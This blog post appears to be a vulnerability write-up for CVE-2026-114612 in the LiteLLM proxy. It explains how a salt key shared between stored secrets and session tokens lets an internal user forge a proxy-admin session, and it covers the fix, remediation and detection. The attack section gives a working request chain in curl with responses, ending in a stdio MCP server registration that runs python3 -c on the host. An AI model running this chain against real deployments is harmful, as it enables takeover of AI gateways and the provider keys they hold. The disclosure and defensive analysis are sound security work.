HB Updated Oct 24, 2026

One Salt to Forge Them All: CVE-2026-114612 - Forged Admin Sessions in LiteLLM

Conceptual illustration: one brass key stamped AES opening two different doors, an archive cabinet and an admin terminal, on a dark slate background (AI-generated illustration)

LiteLLM is the open-source AI gateway that sits between your applications and every model provider you use. A very large number of self-hosted LLM stacks point their SDKs at it, hand it the OpenAI/Anthropic/Gemini keys nobody else should see, and let it meter, budget and log everything in between. That makes its proxy admin account one of the more valuable targets in a modern AI deployment: whoever controls the gateway controls the keys to every upstream provider, every team’s budget, and increasingly the MCP servers the gateway is allowed to launch.

On October 22, 2026, CVE-2026-114612 was published against the LiteLLM proxy, and the design flaw underneath it is the kind that sticks with you. The proxy encrypts secrets at rest - credentials, logging keys, callback vars - with a key derived from LITELLM_SALT_KEY. It also mints the dashboard and CLI login sessions with the same helper, the same algorithm and the same salt key. Two different security worlds, one cryptographic context. The session-token validator then treats anything that decrypts cleanly under that salt key as a trusted login session, role and all.

So an authenticated internal user - the “normal employee” role of the LiteLLM world - doesn’t need to break AES or touch the salt key at all. The proxy encrypts things for its users by design: bring-your-own logging callback credentials are encrypted at rest and handed back through the key management API. An internal user hides a forged proxy_admin identity inside such a credential, receives the ciphertext back from the API, and replays it as a Bearer token. The proxy decrypts it, finds an administrator inside, and believes it. From there it is one admin-only API call to register a stdio MCP server, and one health probe later the gateway has spawned the attacker’s process on its own host.

NVD scores it 9.9 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, CWE-269) and every LiteLLM deployment from 1.87.0 up to the patched releases is affected - after version 1.91.0 the vulnerable code path is active in the default configuration, no experimental flags required. The fixes themselves shipped quietly on September 30, 2026 across five release branches; the public advisory followed on October 22. This article walks through the cryptography of the confusion, the exact request chain that turns an internal user into the proxy admin, and the MCP-stdio pivot that ends in code execution. Everything below was reproduced locally against LiteLLM 1.100.3, and the fixed 1.104.6 build was tested to confirm it rejects the replay. The full PoC ships in the companion repository.


Background: keys, sessions and the salt key

LiteLLM’s proxy has three flavors of credentials that matter here:

Credential Who uses it What it looks like What it grants
Master key The operator sk-... set via LITELLM_MASTER_KEY Full proxy admin
Virtual keys Applications and internal users sk-... rows in the database Model access, budgets, team scoping
UI/CLI session tokens The web dashboard and lite CLI an opaque encrypted blob whatever role is embedded inside

Virtual keys are the day-to-day currency: an application presents Authorization: Bearer sk-... and the proxy resolves it to a UserAPIKeyAuth object - the identity, role, budget and permissions the request carries. Management routes like /key/generate, /user/new or /user/list check that resolved role. proxy_admin is the top role; internal_user is the standard role for people in your organization who are allowed to self-service their own keys.

The third row is the interesting one. To log into the dashboard or the CLI without a browser-flavoured OAuth dance, the proxy can mint a session token by taking the user’s UserAPIKeyAuth object, serializing it to JSON and encrypting it. The client stores the blob and sends it back as a bearer credential on every request; the proxy decrypts it and trusts the identity inside. No database lookup needed - the ciphertext is the session.

All of this encryption - stored secrets and session tokens alike - flows through one helper in litellm/proxy/common_utils/encrypt_decrypt_utils.py, keyed by LITELLM_SALT_KEY (falling back to the master key when the salt key is unset, which is why the docs beg operators to set a permanent salt key).

Classification

Field Value
CVE CVE-2026-114612
Published 2026-10-22
Product LiteLLM proxy (BerriAI/litellm)
Affected versions 1.87.0 until 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2
Fixed in 1.100.4, 1.101.3, 1.102.2, 1.103.1, 1.104.0-rc.2 (all released 2026-09-30)
CVSS v3.1 9.9 Critical (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWE CWE-269 (Improper Privilege Management)
Preconditions An authenticated internal-user credential; network access to the proxy’s management routes
Impact Forged proxy-admin session, then code execution on the proxy host via a stdio MCP server

Attention! The scope row worth re-reading is the CVSS vector: PR:L - only a low-privileged account is required - and S:C - the impact crosses the security boundary from the gateway process onto the host it runs on.


Two security worlds, one key

Everything here revolves around three small functions in the vulnerable builds. First, the universal encryptor that every at-rest secret goes through:

def encrypt_value_helper(value: str, new_encryption_key: str | None = None):
    signing_key: Final = new_encryption_key or _get_salt_key()
    ...
    encrypted_value = encrypt_value(value=value, signing_key=signing_key)
    # Use urlsafe_b64encode for URL-safe base64 encoding
    encrypted_value = base64.urlsafe_b64encode(encrypted_value).decode("utf-8")
    return encrypted_value

The legacy (and default) encrypt_value is XSalsa20-Poly1305 via nacl.secret.SecretBox, keyed with sha256(salt_key) - an authenticated cipher, so the proxy can verify the blob was written by someone holding the salt key. A newer optional AES-256-GCM mode produces v2:gcm:-prefixed blobs, but the property that matters here is unchanged: one key, one “this is authentic” guarantee for everything the proxy stores.

Second, the session-token minter. When the dashboard or CLI login flow needs a session, it serializes the user’s UserAPIKeyAuth - including user_role - and pushes it through that same helper (litellm/proxy/auth/auth_checks.py, v1.100.3):

valid_token: Final = UserAPIKeyAuth(
    token=session_token,
    ...
    user_role=LitellmUserRoles(user_info.user_role),
    is_session_token=True,
)
return encrypt_value_helper(valid_token.model_dump_json(exclude_none=True))

Third, the validator. When a bearer credential that does not start with sk- shows up, the proxy attempts to decrypt it as a session (user_api_key_auth.py, v1.100.3):

## Check UI/CLI Hash Key
# Attempt decryption for non-sk- tokens unless the operator has
# explicitly set EXPERIMENTAL_UI_LOGIN=false to disable it.
# Unset (None) keeps the new default of always attempting decryption;
# decryption fails closed for anything that is not a genuine blob.
if (
    valid_token is None
    and not api_key.startswith("sk-")
    and get_secret_bool("EXPERIMENTAL_UI_LOGIN") is not False
):
    valid_token = ExperimentalUIJWTToken.get_key_object_from_ui_hash_key(api_key)

and get_key_object_from_ui_hash_key is just:

decrypted_token: Final = decrypt_value_helper(hashed_token, key="ui_hash_key", exception_type="debug")
if decrypted_token is None:
    return None
return UserAPIKeyAuth.model_validate(json.loads(decrypted_token))

There is no structural difference between a session token and any other encrypted blob. Both are base64url(nonce || SecretBox(nonce || plaintext)) under the same derived key. The only thing that distinguishes a session token from a stored Langfuse credential is the plaintext convention - one happens to contain a UserAPIKeyAuth JSON document. SecretBox proves the salt key encrypted the bytes; it says nothing about which of the two worlds those bytes belong to. In the language of cryptography engineering, the construction lacks domain separation: two protocols share one key and one message space, so a message valid in one is indistinguishable from a message valid in the other.

I wrote something similar not long ago about a router that shipped the same hard-coded JWT secret in every box, but this bug is a different animal: no secret needs to be extracted, guessed or brute-forced. The victim is politely asked to do the encryption, using the legitimate API, and hand over the result.

The default that flipped in 1.91.0

One historical detail explains the advisory’s version split. In the 1.87.0-1.90.x builds, the decryption gate was opt-in:

## v1.90.1
if valid_token is None and get_secret_bool("EXPERIMENTAL_UI_LOGIN"):
    valid_token = ExperimentalUIJWTToken.get_key_object_from_ui_hash_key(api_key)

In v1.91.0, the comment quoted above appeared and the condition became get_secret_bool("EXPERIMENTAL_UI_LOGIN") is not False - unset now enables the fallback. That is why the advisory says versions after 1.91.0 are exploitable in the default configuration, and why a version pin alone can be quietly misleading: a deployment running 1.91.0 or later with no EXPERIMENTAL_UI_LOGIN variable set at all is in the vulnerable state.


The attack chain

The full PoC is a single Python script in the companion repository. Here is the chain it implements, with the real request/response pairs from my lab (LiteLLM 1.100.3, PostgreSQL backend, a distinct LITELLM_SALT_KEY, the way a production box should be configured). Long responses are abridged with "..."; nothing is paraphrased.

https://github.com/Hunt-Benito/one-salt-to-forge-them-all-cve-2026-114612-forged-admin-session-in-litellm

Step 1 - become a low-privileged insider

On any real deployment this step has already happened by definition - an internal user with a key is just a teammate. On a fresh lab it is one onboarding call, and it is the only step that needs admin. The proxy admin creates the user exactly like onboarding anyone else; note that the response already contains a ready-to-use personal virtual key for the new user:

$ curl -s -X POST "http://localhost:4000/user/new" \
    -H "Authorization: Bearer sk-master-test-1234" \
    -H "Content-Type: application/json" \
    -d '{"user_email": "mallory@corp.internal", "user_role": "internal_user"}'
{
  "user_id": "5e3ac4bb-63e6-4e68-83ba-d28985dc8d58",
  "user_email": "mallory@corp.internal",
  "user_role": "internal_user",
  "key": "sk-prL_KGz3eV7jJ6UsXsADSQ",
  "...": "..."
}

From here on, every request is made as mallory with that sk- key. First, a sanity check that the honest path goes nowhere - /user/list is admin-only:

$ curl -s "http://localhost:4000/user/list?page=1&page_size=5" \
    -H "Authorization: Bearer sk-prL_KGz3eV7jJ6UsXsADSQ"
{"detail": {"error": "Only proxy admins and organization admins can list users."}}

403 Forbidden, as expected. Keep that response in mind for the comparison later.

Step 2 - hide the forged identity in a logging credential

LiteLLM lets a key carry its own logging configuration - “for this key, also send traces to my Langfuse account” - which is a completely legitimate bring-your-own-credentials feature. The values under metadata.logging[].callback_vars are treated as secrets, so the proxy encrypts them at rest with encrypt_value_helper before the row hits the database.

That is our encryption oracle. The plaintext we want the proxy to encrypt is a UserAPIKeyAuth document that claims to be a proxy_admin session:

{
  "token": "forged-session-token",
  "user_id": "5e3ac4bb-63e6-4e68-83ba-d28985dc8d58",
  "user_role": "proxy_admin",
  "team_id": "litellm-dashboard",
  "expires": "2026-10-24T11:43:49.900+00:00"
}

The expires format mirrors what the genuine minter writes, and it must be in the future - the auth path checks it for admin-role tokens. The user id is our own, so the forged session even lands on a real user row. The injection is one ordinary API call, made with the internal user’s own key:

$ curl -s -X POST "http://localhost:4000/key/generate" \
    -H "Authorization: Bearer sk-prL_KGz3eV7jJ6UsXsADSQ" \
    -H "Content-Type: application/json" \
    -d '{
      "key_alias": "carrier-key",
      "user_id": "5e3ac4bb-63e6-4e68-83ba-d28985dc8d58",
      "metadata": {"logging": [{"callback_name": "langfuse",
        "callback_vars": {"langfuse_secret_key": "{\"token\": \"forged-session-token\", ...}"}}]}}'
{
  "key_alias": "carrier-key",
  "key": "sk-U62rgzhvm4md4L9952e1WA",
  "user_id": "5e3ac4bb-63e6-4e68-83ba-d28985dc8d58",
  "...": "..."
}

The proxy replies 200 and stores the callback var encrypted. No error, no warning - from the proxy’s point of view a user just configured a logging integration.

Step 3 - collect the ciphertext

The management API is happy to show a user their own key’s metadata again via /v2/key/info:

$ curl -s -X POST "http://localhost:4000/v2/key/info" \
    -H "Authorization: Bearer sk-prL_KGz3eV7jJ6UsXsADSQ" \
    -H "Content-Type: application/json" \
    -d '{"keys": ["sk-U62rgzhvm4md4L9952e1WA"]}'

The response’s metadata.logging[0].callback_vars.langfuse_secret_key comes back encrypted at rest, behind the litellm_enc:: sentinel the proxy uses to detect already-encrypted values:

litellm_enc::Qy9szwNmFTJax7kCilHBbpbIpSWY3vRXh386d9Ly4JvmQxr_plbxH_uKTT8qsX37Z_vobdTdw6dXxju4wFbT_-oOTs5IyBQauBeZ14TdigXJRaitZa9ovNp4geX6jEWWytIY6Z2J9gOJFL_IpToKgS2Co8lHxdUuSADW8VWMsVKM-8cJC33fxwLqJuNyiCmkxCtcY1MZrBz4rrMe9aidGZ-WKX9G7ftxuahDdVy1g9VQKwuNhBl1Lvl5cs-kqU-YTEMpzCR5YsHP4N2WVyMDN-0sv6iR8TIDKa7ihiXSK9heTyk_

Everything after the sentinel is exactly the wire format of a UI/CLI session token: base64url(nonce || SecretBox(nonce || plaintext)) under the salt key. The litellm_enc:: prefix itself must be stripped before replay - it is only a storage-layer marker, and its colons are not part of the base64url alphabet, so the session decoder would read a corrupted blob and reject it.

Step 4 - replay the ciphertext as a session

Now hand the bare ciphertext to the proxy as a bearer credential on the same admin-only route that just told mallory “only proxy admins can list users”:

$ curl -s "http://localhost:4000/user/list?page=1&page_size=5" \
    -H "Authorization: Bearer Qy9szwNmFTJax7kCilHBbpbIpSWY3vRXh386d9Ly4JvmQxr_plbxH_uKTT8qsX37Z_vobdTdw6dXxju4wFbT_-oOTs5IyBQauBeZ14TdigXJRaitZa9ovNp4geX6jEWWytIY6Z2J9gOJFL_IpToKgS2Co8lHxdUuSADW8VWMsVKM-8cJC33fxwLqJuNyiCmkxCtcY1MZrBz4rrMe9aidGZ-WKX9G7ftxuahDdVy1g9VQKwuNhBl1Lvl5cs-kqU-YTEMpzCR5YsHP4N2WVyMDN-0sv6iR8TIDKa7ihiXSK9heTyk_"
{
  "users": [
    {
      "user_id": "5e3ac4bb-63e6-4e68-83ba-d28985dc8d58",
      "user_email": "mallory@corp.internal",
      "user_role": "internal_user",
      "spend": 0.0,
      "...": "..."
    }
  ],
  "total": 1,
  "page": 1,
  "page_size": 5,
  "total_pages": 1
}

200 OK. The bearer credential was not an sk- key, so the proxy fell into the UI/CLI session path, decrypted the blob with the salt key, validated the JSON as UserAPIKeyAuth, and found user_role: proxy_admin with a future expiry inside. The request was served as the proxy administrator. We are the admin now - without ever seeing the salt key, without breaking the cipher, and with the proxy itself having manufactured the credential.


From admin to code execution: the stdio MCP pivot

Proxy admin on an AI gateway is already a serious position - every provider key, every budget, every team’s traffic. But the advisory’s title event is the last hop: arbitrary commands through the MCP stdio endpoint, and it deserves a close look because it turns “admin of the gateway” into “code on the gateway’s host”.

LiteLLM’s MCP gateway lets the proxy expose MCP servers to callers. A server of transport type stdio is not a remote endpoint at all - it is a local process the proxy spawns, then talks to over stdin/stdout. Admins add such servers through POST /v1/mcp/server with a command and args. Because a process spawn is inherently code execution, LiteLLM restricts two things: creating MCP servers is admin-only, and the command’s basename must be on a small allowlist:

MCP_STDIO_ALLOWED_COMMANDS: Final[frozenset] = frozenset(
    {"npx", "uvx", "python", "python3", "node", "docker", "deno"} | (set(_MCP_STDIO_EXTRA_COMMANDS.split(",")) - {""})
)

That allowlist reads like a “safe launcher tools” list, but every entry on it executes whatever args say - python3 and args: ["-c", "..."] is arbitrary Python, npx is arbitrary npm packages. The allowlist constrains which interpreter runs, not what runs. And the session we forged passes the admin check, so:

$ curl -s -X POST "http://localhost:4000/v1/mcp/server" \
    -H "Authorization: Bearer Qy9szwNmFTJax7kCilHBbpbIpSWY3vRXh386d9Ly4JvmQxr_...K9heTyk_" \
    -H "Content-Type: application/json" \
    -d '{
      "server_name": "bench_tools",
      "transport": "stdio",
      "command": "python3",
      "args": ["-c", "import os,time; open('"'"'/tmp/litellm_pwned_marker'"'"','"'"'w'"'"').write(
                 '"'"'executed as uid=%d on %s at %.1f'"'"' % (os.getuid(), os.uname().nodename, time.time()));
               time.sleep(30)"]
    }'
{
  "server_id": "28696662-2c10-4a1d-b260-58f10d81e33e",
  "server_name": "bench_tools",
  "alias": "bench_tools",
  "transport": "stdio",
  "command": "python3",
  "args": ["-c", "import os,time;open('/tmp/litellm_pwned_marker','w').write('executed as uid=%d on %s at %.1f' % (os.getuid(), os.uname().nodename, time.time()));time.sleep(30)"],
  "approval_status": "active",
  "...": "..."
}

201 Created - accepted by the forged admin session, and already marked active. Registering does not spawn the process yet; the stdio transport launches lazily when the proxy first needs to talk to the server, which a health probe triggers:

$ curl -s "http://localhost:4000/v1/mcp/server/health" \
    -H "Authorization: Bearer Qy9szwNmFTJax7kCilHBbpbIpSWY3vRXh386d9Ly4JvmQxr_...K9heTyk_"
[{"server_id": "28696662-2c10-4a1d-b260-58f10d81e33e", "status": "unhealthy"}]

The status says unhealthy - the spawned process is not a real MCP server and fails the protocol handshake - which is irrelevant to the attacker. The side effect already happened:

$ cat /tmp/litellm_pwned_marker
executed as uid=1000 on AgenticVM at 1792838630.3

The proxy host ran our Python as the same user the gateway runs as. The full chain - internal user to host-level code execution - is four API calls, all through documented, legitimate endpoints.

Attack flow: an internal user injects forged admin claims through key metadata, receives the salt-key ciphertext back, replays it as a session token, then registers a stdio MCP server whose spawn yields code execution


The fix: give tokens their own name

The vendor’s fix (commit 9fa1a641 and its siblings, shipped in 1.100.4 and the other patched releases) is a textbook application of domain separation. Session tokens are no longer produced by the generic helper; they get a dedicated constructor that seals the blob with a litellm_login_ prefix used as AES-GCM associated data:

def encrypt_bearer_token(value: str, prefix: str) -> str:
    """AES-256-GCM as unpadded base64url behind ``prefix``, which is also the
    AAD so a token can't change kind."""
    salt_key: Final = _get_salt_key()
    ...
    sealed: Final = _seal_aes_gcm(value=value, signing_key=salt_key, aad=prefix.encode("utf-8"))
    return prefix + base64.urlsafe_b64encode(sealed).decode("ascii").rstrip("=")

decrypt_bearer_token refuses anything that does not start with litellm_login_, and the AAD binding means a stored ciphertext can never be re-labelled into a token either - the vendor’s regression test covers exactly that reshaping trick. The at-rest world and the session world now fail closed against each other. I re-ran the identical chain against LiteLLM 1.104.6 (same salt key - the blob still decrypts perfectly as a stored secret, it just no longer means anything as a credential) and the replay now returns:

$ curl -s "http://localhost:4001/user/list?page=1&page_size=5" \
    -H "Authorization: Bearer Qy9szwNmFTJax7kCilHBbpbIpSWY3vRXh386d9Ly4JvmQxr_...K9heTyk_"
{"error": {"message": "LiteLLM Virtual Key expected. Received=Qy9s****Tyk_, expected to start with 'sk-'.", "type": "auth_error", "param": "None", "code": "401"}}

The chain dies exactly where it should: the ciphertext is still a perfectly valid encrypted secret, and the session validator no longer cares.

Remediation checklist

Action Detail
Upgrade At minimum 1.100.4, 1.101.3, 1.102.2, 1.103.1 or 1.104.0-rc.2 (or any later release). This is the only complete fix.
Set a dedicated LITELLM_SALT_KEY Hygiene, not a fix - the attack works regardless of the key’s value - but a dedicated salt key keeps the master key out of routine at-rest crypto.
Restrict who holds internal-user accounts The attack needs PR:L. If every consumer of the proxy is an application with a virtual key and nobody self-services keys, the precondition narrows a lot.
Do not expose management routes broadly /user/*, /key/*, /v1/mcp/server do not need to be reachable from application networks; put them behind network controls where feasible.
Watch for stdio MCP registrations Any POST /v1/mcp/server with "transport": "stdio" from outside your change-management process is worth treating as an incident.

Detection notes

A few signals stand out in logs after the fact. Any 401 shaped like the one above - LiteLLM Virtual Key expected. Received=... where the abbreviated credential does not start with sk- - means non-key bearer material is reaching the auth path; the forged replay lands there once, successfully, and every failed experiment an attacker makes lands there too. /key/generate calls carrying metadata.logging with callback var values that look like JSON objects ({"token": ..., "user_role" inside) are the injection itself and can be matched exactly. And as of the patched builds, the coverage registry test the vendor added (other.auth.session_token.encrypted_value_denied) is a good name to grep your own integration tests for if you maintain LiteLLM automation.


Closing thoughts

What makes CVE-2026-114612 worth studying is not the privilege-escalation mechanics - those are almost mundane once the pieces line up - but how little the attacker had to defeat. The cipher is sound; the nonce handling is sound; the key is (presumably) private. The flaw lives one abstraction level up, in the decision to let one cryptographic context answer for two different questions: was this stored by someone I trust? and is this a login I should honor? Authenticated encryption answers the first, and only the first. Session tokens minted from the same answer to the same question are forgeable by anyone who can ask the question on their own data - and the proxy’s own API happily hands internal users the microphone.

If you run LiteLLM, patch. If you build systems that both store secrets and mint credentials, audit every place those two flows touch a shared key, a shared helper, or a shared format. The AAD parameter exists precisely for this; using it costs one line and deletes an entire attack class.

Related reading from this blog: in The Cookie in the Error Message we saw another case where a component’s own bookkeeping - there, exception plumbing - handed sessions to the wrong party, and in The Same Key Opens Every Box a single shared secret authenticated every device in a mesh. Both, like this one, are failures of trust boundaries drawn in software, not failures of cryptography.


SOURCES

NVD - CVE-2026-114612: https://nvd.nist.gov/vuln/detail/CVE-2026-114612
CVE Program record: https://www.cve.org/CVERecord?id=CVE-2026-114612
LiteLLM fix commit 9fa1a641 (session tokens bound to their own AES-GCM context): https://github.com/BerriAI/litellm/commit/9fa1a641119dd0d4fe43e93622eae5f482ceb63f
LiteLLM fix commit 1d5fdc87: https://github.com/BerriAI/litellm/commit/1d5fdc87fed66b49e1df8cf7d708ad93249eb7d0
LiteLLM fix commit 9161d7f9: https://github.com/BerriAI/litellm/commit/9161d7f9d6073603ba61ee4aa5e2c0ef5b37a81b
LiteLLM fix commit a80eacac: https://github.com/BerriAI/litellm/commit/a80eacacee118fbed54e3d98f239d17a63fac818
LiteLLM fix commit f7cd90f0: https://github.com/BerriAI/litellm/commit/f7cd90f09e9716652b38daec9f0640cdf49d582b
LiteLLM release v1.100.4: https://github.com/BerriAI/litellm/releases/tag/v1.100.4
LiteLLM release v1.101.3: https://github.com/BerriAI/litellm/releases/tag/v1.101.3
LiteLLM release v1.102.2: https://github.com/BerriAI/litellm/releases/tag/v1.102.2
LiteLLM release v1.103.1: https://github.com/BerriAI/litellm/releases/tag/v1.103.1
LiteLLM release v1.104.0-rc.2: https://github.com/BerriAI/litellm/releases/tag/v1.104.0-rc.2
LiteLLM production best practices - setting a permanent salt key: https://docs.litellm.ai/docs/proxy/prod#5-set-litellm-salt-key
LiteLLM MCP gateway documentation: https://docs.litellm.ai/docs/mcp
LiteLLM virtual keys documentation: https://docs.litellm.ai/docs/proxy/virtual_keys

Tags

Account-Takeover Agentic-AI AI Gateway android Android Android-Adb Android-apktool Android-Avd Android-Studio Anti-Bot API-Security Authentication Automotive Backslash-Breakout Baseband Bot-Detection Browser-Automation Browser-Fingerprinting Buffer-Overflow C2 Cache-Key-Collision Camoufox CAN-Bus CAPTCHA Chrome Cloudflare Command-Injection Container-Escape Cross-Site-Scripting Cryptography Cudy CWE-121 CWE-122 CWE-125 CWE-1333 CWE-23 CWE-269 CWE-288 CWE-290 CWE-347 CWE-384 CWE-706 CWE-798 CWE-862 CWE-89 CWE-926 CWE-94 Data-Scraping Denial-of-Service Diagnostics Elixir Embedded-Systems Exploit FastGPT Firmware Frida Geolocation GooglePlay Hardware Heap-Overflow Hi-Browser html-sanitize-ex HTTP2 Hugging-Face Identity-Confusion Information Security Integer-Overflow IoT JNI JWT Lexer-Differential Linux Linux-Kernel LiteLLM llama-cpp LLaMA-Factory LLM LwM2M Machine-Learning MCP MediaTek Memory Disclosure MindsDB Missing-Authorization mitmproxy Mobile-Security MQTT Network-Analysis Networking OAuth OAuth2 OBD2 OIDC OpenID-Connect Out-of-Bounds Page-Cache Patchright Path-Traversal Penetration Testing pgAdmin PHP phpIPAM Playwright PostgreSQL Privilege-Escalation Prompt-Injection Python Race-Condition RCE ReDoS Reverse Engineering Reverse-Engineering Router Ruby Samsung-Bixby Samsung-Exynos Security Security-Research Session Hijacking Session-Hijacking SiYuan SMS Snapchat SNMP Speech-Recognition SQL-Injection SSD SSL-Pinning STIG-Manager Supply-Chain TECNO Tenda Traefik UC-Browser UDS Vulnerability Web Applications Web Scraping Web-Crawling Web-Scraping Web-Security WebGPU Websocket WeChat Wi-Fi Zammad Zephyr Zero-Day